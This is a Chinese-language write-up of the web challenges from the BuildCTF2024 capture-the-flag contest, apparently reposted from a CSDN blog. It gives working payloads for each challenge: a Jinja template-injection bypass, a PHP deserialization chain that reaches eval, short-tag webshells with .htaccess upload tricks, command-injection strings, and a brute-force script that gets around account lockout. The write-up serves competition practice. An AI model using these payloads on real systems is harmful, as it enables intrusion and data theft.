0


BuildCTF2024 WEB部分wp

BuildCTF2024 WEB

find-the-id

在这里插入图片描述
爆破
在这里插入图片描述
出题人让我们去爆破数字
在这里插入图片描述
上bp开爆
在这里插入图片描述

ez!http

在这里插入图片描述
访问题目进行查看
在这里插入图片描述
查看数据包
在这里插入图片描述
发现传参给了一个user=admin,这里将admin修改为root即可
在这里插入图片描述
从什么来,考察Referer头
Referer: blog.buildctf.vip
在这里插入图片描述
浏览器,考察UA头
User-Agent: buildctf
在这里插入图片描述
只有来自内网的用户才可以访问,猜测是XFF头
在这里插入图片描述
修改Date头
在这里插入图片描述
这里是发起请求的邮箱所以考察的是From头
在这里插入图片描述
只接受代理,考察Via头部
在这里插入图片描述
考察浏览器语言头部Accept-Language
在这里插入图片描述
这里我点击获取Flag没有反应
在这里插入图片描述
查看源码发现只需要POST传入getFlag=This_is_flag即可
在这里插入图片描述

RedFlag

源码如下

import flask
import os

app = flask.Flask(__name__)
app.config['FLAG']= os.getenv('FLAG')@app.route('/')defindex():returnopen(__file__).read()@app.route('/redflag/<path:redflag>')defredflag(redflag):defsafe_jinja(payload):
        payload = payload.replace('(','').replace(')','')
        blacklist =['config','self']return''.join(['{{% set {}=None%}}'.format(c)for c in blacklist])+payload
    return flask.render_template_string(safe_jinja(redflag))

考察的SSTI,源码中过滤了config和self
在这里插入图片描述
这里用的全局对象的config就可以绕过检测

{{url_for.globals[‘current_app’].config[‘FLAG’]}}

我的理解是:调用了全局对象的config中的FLAG,而代码只是检测当前对象的config变量,所以不会被过滤
在这里插入图片描述

LovePopChain

在这里插入图片描述
考察pop链
源码如下

<?phpclassMyObject{public$NoLove="Do_You_Want_Fl4g?";public$Forgzy;publicfunction__wakeup(){if($this->NoLove=="Do_You_Want_Fl4g?"){echo'Love but not getting it!!';}}publicfunction__invoke(){$this->Forgzy=clonenewGaoZhouYue();}}classGaoZhouYue{public$Yuer;public$LastOne;publicfunction__clone(){echo'最后一次了, 爱而不得, 未必就是遗憾~~';eval($_POST['y3y4']);}}classhybcx{public$JiuYue;public$Si;publicfunction__call($fun1,$arg){$this->Si->JiuYue=$arg[0];}publicfunction__toString(){$ai=$this->Si;echo'I W1ll remember you';return$ai();}}if(isset($_GET['No_Need.For.Love'])){
    @unserialize($_GET['No_Need.For.Love']);}else{highlight_file(__FILE__);}

链子思路如下

MyObject::__wakeup()->hybcx::__toString()->MyObject::__invoke()->GaoZhouYue::__clone()->eval($_POST['y3y4']);

exp如下

<?phpclassMyObject{public$NoLove="Do_You_Want_Fl4g?";public$Forgzy;}classGaoZhouYue{public$Yuer;public$LastOne;}classhybcx{public$JiuYue;public$Si;}$a=newMyObject();$b=newhybcx();$a->NoLove=$b;$b->Si=$a;echoserialize($a);

用POST传参进行rce即可
在这里插入图片描述

babyupload

在这里插入图片描述
在这里插入图片描述
访问网址,然后看了一下没什么信息,直接开始目录扫描
在这里插入图片描述
可以扫出来一个upload.php文件
在这里插入图片描述
随便传了一个后门图片
在这里插入图片描述
被过滤了,修改mime为image/jpeg加上头部GIF89a后成功上传,添加后门代码试试
在这里插入图片描述
被丁真鉴定了,坏,继续测,猜测是过滤php
尝试使用短标签来绕过
<?=`ls`?>

成功上传,但是不解析,猜测需要上传.user.ini或者是.htaccess
经过测试发现能够成功上传.htaccess
在这里插入图片描述
在这里插入图片描述
猜测flag在env环境变量中
<?=`env`?>,但是发现env也被过滤了,这里直接使用截断拼接来绕过 <?=`en''v`?>

在这里插入图片描述
成功上传
在这里插入图片描述

ez_md5

在这里插入图片描述
题目一

$sql="SELECT flag FROM flags WHERE password = '".md5($password,true)."'";

这里考察使用ffifdyop来绕过md5($password,true)

题目二

<?phperror_reporting(0);///robotshighlight_file(__FILE__);include("flag.php");$Build=$_GET['a'];$CTF=$_GET['b'];if($_REQUEST){foreach($_REQUESTas$value){if(preg_match('/[a-zA-Z]/i',$value))die('不可以哦!');}}if($Build!=$CTF&&md5($Build)==md5($CTF)){if(md5($_POST['Build_CTF.com'])=="3e41f780146b6c246cd49dd296a3da28"){echo$flag;}elsedie("再想想");}elsedie("不是吧这么简单的md5都过不去?");?>

考点

1、md5数组绕过
2、在php中参数_的替换 Build_CTF.com 
3、md5的爆破 md5(114514xxxxxxx) == 3e41f780146b6c246cd49dd296a3da28 

在robots.txt中可以看的提示md5(114514xxxxxxx)
写脚本爆破可以得到1145146803531
爆破脚本如下

import hashlib

defmd5_hash(s):return hashlib.md5(s.encode()).hexdigest()

target_md5 ='3e41f780146b6c246cd49dd296a3da28'
prefix ='114514'for i inrange(10000000):# 可调整范围
    guess =f"{prefix}{str(i).zfill(7)}"# 生成114514后接7位数if md5_hash(guess)== target_md5:print(f"找到匹配: {guess}")breakelse:print("未找到匹配")

GET: a[]=1&b[]=2
POST: Build[CTF.com=1145146803531

我写的网站被rce了?

在这里插入图片描述
在这里插入图片描述
给的是一个系统,经过测试可以发现在查看日志处存在漏洞
在日志处用的是传入access,而不是传入access.log
猜测后端是进行拼接的
在这里插入图片描述
过滤了数字,传入字母看看
在这里插入图片描述
这里爆出了路径,拼接字符可以发现输入的字符被拼接在了access和.log之间,那么猜测可以使用%0a进行换行来绕过拼接。

执行一个id看看
在这里插入图片描述
后续还有过滤cat,空格,*号之类的,正常绕过即可
payload如下(不只这一种)

log_type=access%0aca\t$IFS/?lag%0a

Why_so_serials?

在这里插入图片描述
源码如下:

<?phperror_reporting(0);highlight_file(__FILE__);include('flag.php');classGotham{public$Bruce;public$Wayne;public$crime=false;publicfunction__construct($Bruce,$Wayne){$this->Bruce=$Bruce;$this->Wayne=$Wayne;}}if(isset($_GET['Bruce'])&&isset($_GET['Wayne'])){$Bruce=$_GET['Bruce'];$Wayne=$_GET['Wayne'];$city=newGotham($Bruce,$Wayne);if(preg_match("/joker/",$Wayne)){$serial_city=str_replace('joker','batman',serialize($city));$boom=unserialize($serial_city);if($boom->crime){echo$flag;}}else{echo"no crime";}}else{echo"HAHAHAHA batman can't catch me!";}

这里考察的是字符串逃逸增多类型,通过joker替换为batman,每次会多出一位

我们可以构造payload使crime=fasle改为true,从而通过if($boom->crime)的判断来输出flag

payload如下

Bruce=1&Wayne=jokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjoker";s:5:“crime”;b:1;}
在这里插入图片描述

tflock

在这里插入图片描述
访问robots.txt,可以得到出题人给出的账号密码
在这里插入图片描述
所以只需要爆破即可,但是这里会进行账号锁定,在网上看的一个文章,当你登录一个账号失败3次之前进行一次别的账号的成功登录,那么就会重置这个登录账号登录失败的次数

这里写个脚本进行爆破

import request
import requests

url="http://27.25.151.80:36905/login.php"defctfer_login():
    ctf_payload ={"username":"ctfer","password":123456}
    res = requests.post(url, data=ctf_payload)print(res.text)
lines=[]withopen('1.txt','r')asfile:for line infile:
        lines.append(line)

lines_end =[pwd.strip()for pwd in lines]print(lines_end)withopen('1.txt','r')asfile:for line infile:
        line = line.strip()print(line)
        admin_payload ={"username":"admin","password": line}print(admin_payload)
        res = requests.post(url, data=admin_payload)print(res.text)
        ctfer_login()if'"success":true'in res.text:print(line)break

得到账号密码登录即可

eazyl0gin

在这里插入图片描述
关键代码如下
在这里插入图片描述
考点
javascript大小写特性

这里推荐看P神的文章

https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html

由于题目需要登录的是BUILDCTF,这里可以利用toUpperCase函数特性"ı".toUpperCase() == ‘I’,构造BUıLDCTF来进行登录,密码md5值可以拿到cmd5中进行穷举
在这里插入图片描述

然后使用BUıLDCTF和012346来尝试登录
在这里插入图片描述
如果是在BP中需要传入

username=BU%C4%B1LDCTF&password=012346

刮刮乐

在这里插入图片描述
进来就刮,爽就完事了

在这里插入图片描述
然后提示我们了cmd参数
在这里插入图片描述
需要是来自baidu.com的,加上Referer头
在这里插入图片描述

然后就不提示了,接下来使用cmd来传入参数,猜测是命令执行,但是经过测试,任何命令都不回显,>1.txt却能够写入文件,只不过文件是空的,于是可以猜测后端代码为system($c." >/dev/null 2>&1");那么我们就可以尝试一下%0a || ; 来进行截断绕过

在这里插入图片描述
成功回显

sub

在这里插入图片描述
源码如下

import datetime
import jwt
import os
import subprocess
from flask import Flask, jsonify, render_template, request, abort, redirect, url_for, flash, make_response
from werkzeug.security import generate_password_hash, check_password_hash

app = Flask(__name__)
app.secret_key ='BuildCTF'
app.config['JWT_SECRET_KEY']='BuildCTF'

DOCUMENT_DIR = os.path.abspath('src/docs')
users ={}

messages =[]@app.route('/message', methods=['GET','POST'])defmessage():if request.method =='POST':
        name = request.form.get('name')
        content = request.form.get('content')

        messages.append({'name': name,'content': content})
        flash('Message posted')return redirect(url_for('message'))return render_template('message.html', messages=messages)@app.route('/register', methods=['GET','POST'])defregister():if request.method =='POST':
        username = request.form.get('username')
        password = request.form.get('password')if username in users:
            flash('Username already exists')return redirect(url_for('register'))
        users[username]={'password': generate_password_hash(password),'role':'user'}
        flash('User registered successfully')return redirect(url_for('login'))return render_template('register.html')@app.route('/login', methods=['POST','GET'])deflogin():if request.method =='POST':
        username = request.form.get('username')
        password = request.form.get('password')if username in users and check_password_hash(users[username]['password'], password):
            access_token = jwt.encode({'sub': username,'role': users[username]['role'],'exp': datetime.datetime.utcnow()+ datetime.timedelta(minutes=30)}, app.config['JWT_SECRET_KEY'], algorithm='HS256')
            response = make_response(render_template('page.html'))
            response.set_cookie('jwt', access_token, httponly=True, secure=True, samesite='Lax',path='/')# response.set_cookie('jwt', access_token, httponly=True, secure=False, samesite='None',path='/')return response
        else:return jsonify({"msg":"Invalid username or password"}),401return render_template('login.html')@app.route('/logout')deflogout():
    resp = make_response(redirect(url_for('index')))
    resp.set_cookie('jwt','', expires=0)
    flash('You have been logged out')return resp

@app.route('/')defindex():return render_template('index.html')@app.route('/page')defpage():
    jwt_token = request.cookies.get('jwt')if jwt_token:try:
            payload = jwt.decode(jwt_token, app.config['JWT_SECRET_KEY'], algorithms=['HS256'])
            current_user = payload['sub']
            role = payload['role']except jwt.ExpiredSignatureError:return jsonify({"msg":"Token has expired"}),401except jwt.InvalidTokenError:return jsonify({"msg":"Invalid token"}),401except Exception as e:return jsonify({"msg":"Invalid or expired token"}),401if role !='admin'or current_user notin users:return abort(403,'Access denied')file= request.args.get('file','')
        file_path = os.path.join(DOCUMENT_DIR,file)
        file_path = os.path.normpath(file_path)ifnot file_path.startswith(DOCUMENT_DIR):return abort(400,'Invalid file name')try:
            content = subprocess.check_output(f'cat {file_path}', shell=True, text=True)except subprocess.CalledProcessError as e:
            content =str(e)except Exception as e:
            content =str(e)return render_template('page.html', content=content)else:return abort(403,'Access denied')@app.route('/categories')defcategories():return render_template('categories.html', categories=['Web','Pwn','Misc','Re','Crypto'])if __name__ =='__main__':
    app.run(host='0.0.0.0', port=5050)

访问靶场
在这里插入图片描述
这里注册一个号然后进行登录,看看数据包
在这里插入图片描述
在返回包中可以看到jwt的值,然后源码给了我们JWT的值,可以得到JWT的secret=BuildCTF,那么我们就可以对jwt的值进行伪造,将sub和role改为admin
在这里插入图片描述
访问page?file=test1.txt,这次成功进行读取了,说明成功伪造了admin的jwt
在这里插入图片描述
输入一点别的看看
在这里插入图片描述

这里可以发现报错返回了Command ‘cat /var/www/html/src/docs/xxx’,这里的xxx是我们输入的文件名,那么就可以猜测后端代码为system(‘cat /var/www/html/src/docs/xxx’),所以我们可以利用逻辑拼接来绕过; || | %0a这些来绕过

在这里插入图片描述
然后能够发现无法直接使用ls /进行查看根目录的信息,这里提供两个方法

1、;cd …;cd …;cd …;cd …;ls
2、ls />2.txt cat 2.txt
在这里插入图片描述
在这里插入图片描述
然后读取flag直接cat /flag即可

ez_waf

在这里插入图片描述
在这里插入图片描述
这里不限制上传的后缀,但是限制内容
采用大量脏数据来绕过waf
在这里插入图片描述
在这里插入图片描述
上传的路径为/uploads/文件名
在这里插入图片描述
然后执行命令即可


本文转载自: https://blog.csdn.net/xaxt123/article/details/143267670
版权归原作者 Xaxt 所有, 如有侵权,请联系我们删除。

“BuildCTF2024 WEB部分wp”的评论:

还没有评论